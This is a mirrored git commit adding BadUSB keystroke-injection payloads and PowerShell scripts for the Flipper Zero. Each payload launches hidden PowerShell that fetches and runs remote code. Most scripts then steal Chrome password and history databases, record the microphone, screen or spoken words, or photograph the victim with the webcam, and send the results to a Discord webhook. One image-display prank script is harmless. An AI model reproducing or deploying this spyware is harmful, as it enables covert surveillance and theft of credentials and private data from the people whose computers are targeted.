mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-05 20:40:14 -08:00
Add files via upload
This commit is contained in:
19
Chrome-DB-to-Discord/Chrome-DB-to-Discord.txt
Normal file
19
Chrome-DB-to-Discord/Chrome-DB-to-Discord.txt
Normal file
@@ -0,0 +1,19 @@
|
||||
REM Title: Chrome DB to Discord
|
||||
REM Author: @beigeworm
|
||||
REM Description: Chrome stores visited websites, password entries, Address entries, email entries and more inside database files
|
||||
REM Description: They can be extracted to a discord chat and viewed in something like 'DB Browser'.
|
||||
REM Target: Windows 10
|
||||
|
||||
REM Replace YOUR_WEBHOOK_HERE with your Discord webhook URL
|
||||
|
||||
REM some setup for dukie script
|
||||
DEFAULT_DELAY 100
|
||||
|
||||
REM open powershell (remove "-W H" to show the window)
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell -NoP -Ep Bypass -W H -C $dc = 'YOUR_WEBHOOK_HERE' ; irm URL | iex
|
||||
ENTER
|
||||
|
||||
|
||||
27
Chrome-DB-to-Discord/main.ps1
Normal file
27
Chrome-DB-to-Discord/main.ps1
Normal file
@@ -0,0 +1,27 @@
|
||||
|
||||
$dc = "$dc"
|
||||
if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url}
|
||||
$sourceDir = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data"
|
||||
$tempFolder = [System.IO.Path]::GetTempPath() + "loot"
|
||||
if (!(Test-Path $tempFolder)){
|
||||
New-Item -Path $tempFolder -ItemType Directory -Force
|
||||
}
|
||||
|
||||
$filesToCopy = Get-ChildItem -Path $sourceDir -Filter '*' -Recurse | Where-Object { $_.Name -like 'Web Data' -or $_.Name -like 'History' }
|
||||
foreach ($file in $filesToCopy) {
|
||||
$randomLetters = -join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})
|
||||
$newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension
|
||||
$destination = Join-Path -Path $tempFolder -ChildPath $newFileName
|
||||
Copy-Item -Path $file.FullName -Destination $destination -Force
|
||||
}
|
||||
$zipFileName = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "loot.zip")
|
||||
Compress-Archive -Path $tempFolder -DestinationPath $zipFileName
|
||||
$tempFolders = Get-ChildItem -Path $tempFolder -Directory
|
||||
foreach ($folder in $tempFolders) {
|
||||
if ($folder.Name -ne "loot") {
|
||||
Remove-Item -Path $folder.FullName -Recurse -Force
|
||||
}
|
||||
}
|
||||
Remove-Item -Path $tempFolder -Recurse -Force
|
||||
|
||||
curl.exe -F file1=@"$zipFileName" $dc | Out-Null
|
||||
18
Image-to-Console/Image-to-Console.txt
Normal file
18
Image-to-Console/Image-to-Console.txt
Normal file
@@ -0,0 +1,18 @@
|
||||
REM Title: Image To Console
|
||||
REM Author: @beigeworm
|
||||
REM Description: Convert an image to Powershell console.
|
||||
REM Target: Windows 10
|
||||
|
||||
REM Replace YOUR_WEBHOOK_HERE with your Discord webhook URL
|
||||
|
||||
REM some setup for dukie script
|
||||
DEFAULT_DELAY 100
|
||||
|
||||
REM open powershell (remove "-W H" to show the window)
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell -NoP -Ep Bypass -W H -C irm URL | iex
|
||||
ENTER
|
||||
|
||||
|
||||
87
Image-to-Console/main.ps1
Normal file
87
Image-to-Console/main.ps1
Normal file
@@ -0,0 +1,87 @@
|
||||
<#==================== Image to Powershell Console ===============================
|
||||
|
||||
SYNOPSIS
|
||||
Convert an image to Powershell console.
|
||||
|
||||
CREDIT
|
||||
All credit and kudos to I-Am-Jakoby on Github for this script.
|
||||
|
||||
#>
|
||||
|
||||
[Console]::BackgroundColor = "Black"
|
||||
[Console]::CursorVisible = $false
|
||||
$wshell = New-Object -ComObject wscript.shell;
|
||||
$wshell.AppActivate("Powershell.exe")
|
||||
$wshell.SendKeys("{F11}")
|
||||
cls
|
||||
$fpath = "$env:temp/img.png"
|
||||
iwr -uri https://i.imgur.com/gUkR5qp.png -O $fpath
|
||||
|
||||
Function PS-Draw{
|
||||
param([String] [parameter(mandatory=$true, Valuefrompipeline = $true)] $Path,[Switch] $ToASCII)
|
||||
Begin{
|
||||
[void] [System.Reflection.Assembly]::LoadWithPartialName('System.drawing')
|
||||
$Colors = @{
|
||||
'FF000000' = 'White'
|
||||
'FFFFFFFF' = 'Black'
|
||||
'FF000080' = 'DarkBlue'
|
||||
'FF008000' = 'DarkGreen'
|
||||
'FF008080' = 'DarkCyan'
|
||||
'FF800000' = 'DarkRed'
|
||||
'FF800080' = 'DarkMagenta'
|
||||
'FF808000' = 'DarkYellow'
|
||||
'FFC0C0C0' = 'Gray'
|
||||
'FF808080' = 'DarkGray'
|
||||
'FF0000FF' = 'Blue'
|
||||
'FF00FF00' = 'Green'
|
||||
'FF00FFFF' = 'Cyan'
|
||||
'FFFF0000' = 'Red'
|
||||
'FFFF00FF' = 'Magenta'
|
||||
'FFFFFF00' = 'Yellow'
|
||||
}
|
||||
Function Get-ClosestConsoleColor($PixelColor){
|
||||
($(foreach ($item in $Colors.Keys) {
|
||||
[pscustomobject]@{
|
||||
'Color' = $Item
|
||||
'Diff' = [math]::abs([convert]::ToInt32($Item,16) - [convert]::ToInt32($PixelColor,16))
|
||||
}
|
||||
}) | Sort-Object Diff)[0].color
|
||||
}
|
||||
}
|
||||
Process
|
||||
{
|
||||
Foreach($item in $Path){
|
||||
$BitMap = [System.Drawing.Bitmap]::FromFile((Get-Item $Item).fullname)
|
||||
Foreach($y in (1..($BitMap.Height-1)))
|
||||
{
|
||||
Foreach($x in (1..($BitMap.Width-1))){
|
||||
$Pixel = $BitMap.GetPixel($X,$Y)
|
||||
$BackGround = $Colors.Item((Get-ClosestConsoleColor $Pixel.name))
|
||||
If($ToASCII){
|
||||
Write-Host "$([Char](Get-Random -Maximum 126 -Minimum 33))" -NoNewline -ForegroundColor $BackGround
|
||||
}
|
||||
else{
|
||||
Write-Host " " -NoNewline -BackgroundColor $BackGround
|
||||
}
|
||||
}
|
||||
Write-Host ''
|
||||
}
|
||||
}
|
||||
}
|
||||
end{}
|
||||
}
|
||||
|
||||
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
|
||||
$fpath | PS-Draw -ToASCII
|
||||
|
||||
sleep 5
|
||||
|
||||
$o=New-Object -ComObject WScript.Shell
|
||||
$i = 0
|
||||
while ($i -lt 12){
|
||||
$o.SendKeys("^+-")
|
||||
$i++
|
||||
sleep -Milliseconds 200
|
||||
}
|
||||
18
Record-Mic-to-Discord/Record-Mic-to-Discord.txt
Normal file
18
Record-Mic-to-Discord/Record-Mic-to-Discord.txt
Normal file
@@ -0,0 +1,18 @@
|
||||
REM Title: Record Microphone to Discord
|
||||
REM Author: @beigeworm
|
||||
REM Description: This script finds the default microphone and records for a specified time to a mp3 file, then sends the file to a discord webhook.
|
||||
REM Target: Windows 10
|
||||
|
||||
REM Replace YOUR_WEBHOOK_HERE with your Discord webhook URL
|
||||
|
||||
REM some setup for dukie script
|
||||
DEFAULT_DELAY 100
|
||||
|
||||
REM open powershell (remove "-W H" to show the window)
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell -NoP -Ep Bypass -W H -C $dc = 'YOUR_WEBHOOK_HERE' ; irm URL | iex
|
||||
ENTER
|
||||
|
||||
|
||||
45
Record-Mic-to-Discord/main.ps1
Normal file
45
Record-Mic-to-Discord/main.ps1
Normal file
@@ -0,0 +1,45 @@
|
||||
<#==================== RECORD MICROPHONE TO DISCORD =========================
|
||||
|
||||
SYNOPSIS
|
||||
This script finds the default microphone and records for a specified time to a mp3 file, then sends the file to a discord webhook.
|
||||
|
||||
#>
|
||||
$hookurl = "$dc"
|
||||
if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url}
|
||||
|
||||
Function RecordAudio{
|
||||
param ([int[]]$t)
|
||||
|
||||
$Path = "$env:Temp\ffmpeg.exe"
|
||||
|
||||
If (!(Test-Path $Path)){
|
||||
$zipUrl = 'https://www.gyan.dev/ffmpeg/builds/packages/ffmpeg-7.0-essentials_build.zip'
|
||||
$tempDir = "$env:temp"
|
||||
$zipFilePath = Join-Path $tempDir 'ffmpeg-7.0-essentials_build.zip'
|
||||
$extractedDir = Join-Path $tempDir 'ffmpeg-7.0-essentials_build'
|
||||
Invoke-WebRequest -Uri $zipUrl -OutFile $zipFilePath
|
||||
Expand-Archive -Path $zipFilePath -DestinationPath $tempDir -Force
|
||||
Move-Item -Path (Join-Path $extractedDir 'bin\ffmpeg.exe') -Destination $tempDir -Force
|
||||
Remove-Item -Path $zipFilePath -Force
|
||||
Remove-Item -Path $extractedDir -Recurse -Force
|
||||
}
|
||||
|
||||
sleep 1
|
||||
|
||||
Add-Type '[Guid("D666063F-1587-4E43-81F1-B948E807363F"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]interface IMMDevice {int a(); int o();int GetId([MarshalAs(UnmanagedType.LPWStr)] out string id);}[Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]interface IMMDeviceEnumerator {int f();int GetDefaultAudioEndpoint(int dataFlow, int role, out IMMDevice endpoint);}[ComImport, Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")] class MMDeviceEnumeratorComObject { }public static string GetDefault (int direction) {var enumerator = new MMDeviceEnumeratorComObject() as IMMDeviceEnumerator;IMMDevice dev = null;Marshal.ThrowExceptionForHR(enumerator.GetDefaultAudioEndpoint(direction, 1, out dev));string id = null;Marshal.ThrowExceptionForHR(dev.GetId(out id));return id;}' -name audio -Namespace system
|
||||
function getFriendlyName($id) {$reg = "HKLM:\SYSTEM\CurrentControlSet\Enum\SWD\MMDEVAPI\$id";return (get-ItemProperty $reg).FriendlyName}
|
||||
$id1 = [audio]::GetDefault(1);$MicName = "$(getFriendlyName $id1)"; Write-Output $MicName
|
||||
|
||||
$mp3Path = "$env:Temp\AudioClip.mp3"
|
||||
|
||||
if ($t.Length -eq 0){$t = 10}
|
||||
|
||||
.$env:Temp\ffmpeg.exe -f dshow -i audio="$MicName" -t $t -c:a libmp3lame -ar 44100 -b:a 128k -ac 1 $mp3Path
|
||||
|
||||
curl.exe -F file1=@"$mp3Path" $hookurl | Out-Null
|
||||
sleep 1
|
||||
rm -Path $mp3Path -Force
|
||||
|
||||
}
|
||||
|
||||
RecordAudio -t 120 # time to record microphone in seconds
|
||||
18
Record-Screen-to-Discord/Record-Screen-to-Discord.txt
Normal file
18
Record-Screen-to-Discord/Record-Screen-to-Discord.txt
Normal file
@@ -0,0 +1,18 @@
|
||||
REM Title: Record Screen to Discord
|
||||
REM Author: @beigeworm
|
||||
REM Description: This script records the screen for a specified time to a mkv file, then sends the file to a discord webhook.
|
||||
REM Target: Windows 10
|
||||
|
||||
REM Replace YOUR_WEBHOOK_HERE with your Discord webhook URL
|
||||
|
||||
REM some setup for dukie script
|
||||
DEFAULT_DELAY 100
|
||||
|
||||
REM open powershell (remove "-W H" to show the window)
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell -NoP -Ep Bypass -W H -C $dc = 'YOUR_WEBHOOK_HERE' ; irm URL | iex
|
||||
ENTER
|
||||
|
||||
|
||||
37
Record-Screen-to-Discord/main.ps1
Normal file
37
Record-Screen-to-Discord/main.ps1
Normal file
@@ -0,0 +1,37 @@
|
||||
<#==================== RECORD SCREEN TO DISCORD =========================
|
||||
|
||||
SYNOPSIS
|
||||
This script records the screen for a specified time to a mkv file, then sends the file to a discord webhook.
|
||||
|
||||
#>
|
||||
|
||||
$hookurl = "$dc"
|
||||
if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url}
|
||||
|
||||
Function RecordScreen{
|
||||
param ([int[]]$t)
|
||||
if ($t.Length -eq 0){$t = 10}
|
||||
$Path = "$env:Temp\ffmpeg.exe"
|
||||
If (!(Test-Path $Path)){
|
||||
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = ":hourglass: ``Downloading ffmpeg.exe. Please wait...`` :hourglass:"} | ConvertTo-Json
|
||||
Invoke-RestMethod -Uri $hookurl -Method Post -ContentType "application/json" -Body $jsonsys
|
||||
$zipUrl = 'https://www.gyan.dev/ffmpeg/builds/packages/ffmpeg-7.0-essentials_build.zip'
|
||||
$tempDir = "$env:temp"
|
||||
$zipFilePath = Join-Path $tempDir 'ffmpeg-7.0-essentials_build.zip'
|
||||
$extractedDir = Join-Path $tempDir 'ffmpeg-7.0-essentials_build'
|
||||
Invoke-WebRequest -Uri $zipUrl -OutFile $zipFilePath
|
||||
Expand-Archive -Path $zipFilePath -DestinationPath $tempDir -Force
|
||||
Move-Item -Path (Join-Path $extractedDir 'bin\ffmpeg.exe') -Destination $tempDir -Force
|
||||
Remove-Item -Path $zipFilePath -Force
|
||||
Remove-Item -Path $extractedDir -Recurse -Force
|
||||
}
|
||||
$mkvPath = "$env:Temp\ScreenClip.mkv"
|
||||
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = ":arrows_counterclockwise: ``Recording screen (24mb Clip)`` :arrows_counterclockwise:"} | ConvertTo-Json
|
||||
Invoke-RestMethod -Uri $hookurl -Method Post -ContentType "application/json" -Body $jsonsys
|
||||
.$env:Temp\ffmpeg.exe -f gdigrab -framerate 5 -i desktop -fs 24000000 $mkvPath
|
||||
curl.exe -F file1=@"$mkvPath" $hookurl | Out-Null
|
||||
sleep 1
|
||||
rm -Path $mkvPath -Force
|
||||
}
|
||||
|
||||
RecordScreen
|
||||
18
Speech-to-Discord/Speech-to-Discord.txt
Normal file
18
Speech-to-Discord/Speech-to-Discord.txt
Normal file
@@ -0,0 +1,18 @@
|
||||
REM Title: Speech to Discord
|
||||
REM Author: @beigeworm
|
||||
REM Description: Uses assembly 'System.Speech' to take audio input and convert to text and then send the text to discord.
|
||||
REM Target: Windows 10
|
||||
|
||||
REM Replace YOUR_WEBHOOK_HERE with your Discord webhook URL
|
||||
|
||||
REM some setup for dukie script
|
||||
DEFAULT_DELAY 100
|
||||
|
||||
REM open powershell (remove "-W H" to show the window)
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell -NoP -Ep Bypass -W H -C $dc = 'YOUR_WEBHOOK_HERE' ; irm URL | iex
|
||||
ENTER
|
||||
|
||||
|
||||
28
Speech-to-Discord/main.ps1
Normal file
28
Speech-to-Discord/main.ps1
Normal file
@@ -0,0 +1,28 @@
|
||||
<#=============================== Speech to Discord ====================================
|
||||
|
||||
SYNOPSIS
|
||||
Uses assembly 'System.Speech' to take audio input and convert to text and then send the text to discord.
|
||||
|
||||
SETUP
|
||||
1. Replace 'YOUR_WEBHOOK_HERE' with your discord webhook
|
||||
|
||||
#>
|
||||
|
||||
$dc = 'WEBHOOK_HERE' # can be shortened
|
||||
|
||||
Add-Type -AssemblyName System.Speech
|
||||
$speech = New-Object System.Speech.Recognition.SpeechRecognitionEngine
|
||||
$grammar = New-Object System.Speech.Recognition.DictationGrammar
|
||||
$speech.LoadGrammar($grammar)
|
||||
$speech.SetInputToDefaultAudioDevice()
|
||||
|
||||
while ($true) {
|
||||
$result = $speech.Recognize()
|
||||
if ($result) {
|
||||
$results = $result.Text
|
||||
Write-Output $results
|
||||
if ($dc.Ln -ne 121){$dc = (irm $dc).url}
|
||||
$Body = @{'username' = $env:COMPUTERNAME ; 'content' = $results}
|
||||
irm -ContentType 'Application/Json' -Uri $dc -Method Post -Body ($Body | ConvertTo-Json)
|
||||
}
|
||||
}
|
||||
18
Webcam-to-Discord/Webcam-to-Discord.txt
Normal file
18
Webcam-to-Discord/Webcam-to-Discord.txt
Normal file
@@ -0,0 +1,18 @@
|
||||
REM Title: Webcam to Discord
|
||||
REM Author: @beigeworm
|
||||
REM Description: download a webcam.dll file, find a webcam cand take a picture then send it to discord.
|
||||
REM Target: Windows 10
|
||||
|
||||
REM Replace YOUR_WEBHOOK_HERE with your Discord webhook URL
|
||||
|
||||
REM some setup for dukie script
|
||||
DEFAULT_DELAY 100
|
||||
|
||||
REM open powershell (remove "-W H" to show the window)
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell -NoP -Ep Bypass -W H -C $dc = 'YOUR_WEBHOOK_HERE' ; irm URL | iex
|
||||
ENTER
|
||||
|
||||
|
||||
27
Webcam-to-Discord/main.ps1
Normal file
27
Webcam-to-Discord/main.ps1
Normal file
@@ -0,0 +1,27 @@
|
||||
<#========================== WEBCAM TO DISCORD =============================
|
||||
|
||||
SYNOPSIS
|
||||
download a webcam.dll file, find a webcam cand take a picture then send it to discord.
|
||||
|
||||
#>
|
||||
|
||||
$hookurl = "$dc"
|
||||
if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url}
|
||||
$dllPath = Join-Path -Path $env:TEMP -ChildPath "webcam.dll"
|
||||
if (-not (Test-Path $dllPath)) {
|
||||
$url = "https://github.com/beigeworm/assets/raw/main/webcam.dll"
|
||||
$webClient = New-Object System.Net.WebClient
|
||||
$webClient.DownloadFile($url, $dllPath)
|
||||
}
|
||||
Add-Type -Path $dllPath
|
||||
[Webcam.webcam]::init()
|
||||
[Webcam.webcam]::select(1)
|
||||
$imageBytes = [Webcam.webcam]::GetImage()
|
||||
$tempDir = [System.IO.Path]::GetTempPath()
|
||||
$imagePath = Join-Path -Path $tempDir -ChildPath "webcam_image.jpg"
|
||||
[System.IO.File]::WriteAllBytes($imagePath, $imageBytes)
|
||||
sleep 1
|
||||
curl.exe -F "file1=@$imagePath" $hookurl | Out-Null
|
||||
sleep 1
|
||||
Remove-Item -Path "$env:TEMP\webcam.dll"
|
||||
Remove-Item -Path $imagePath -Force
|
||||
Reference in New Issue
Block a user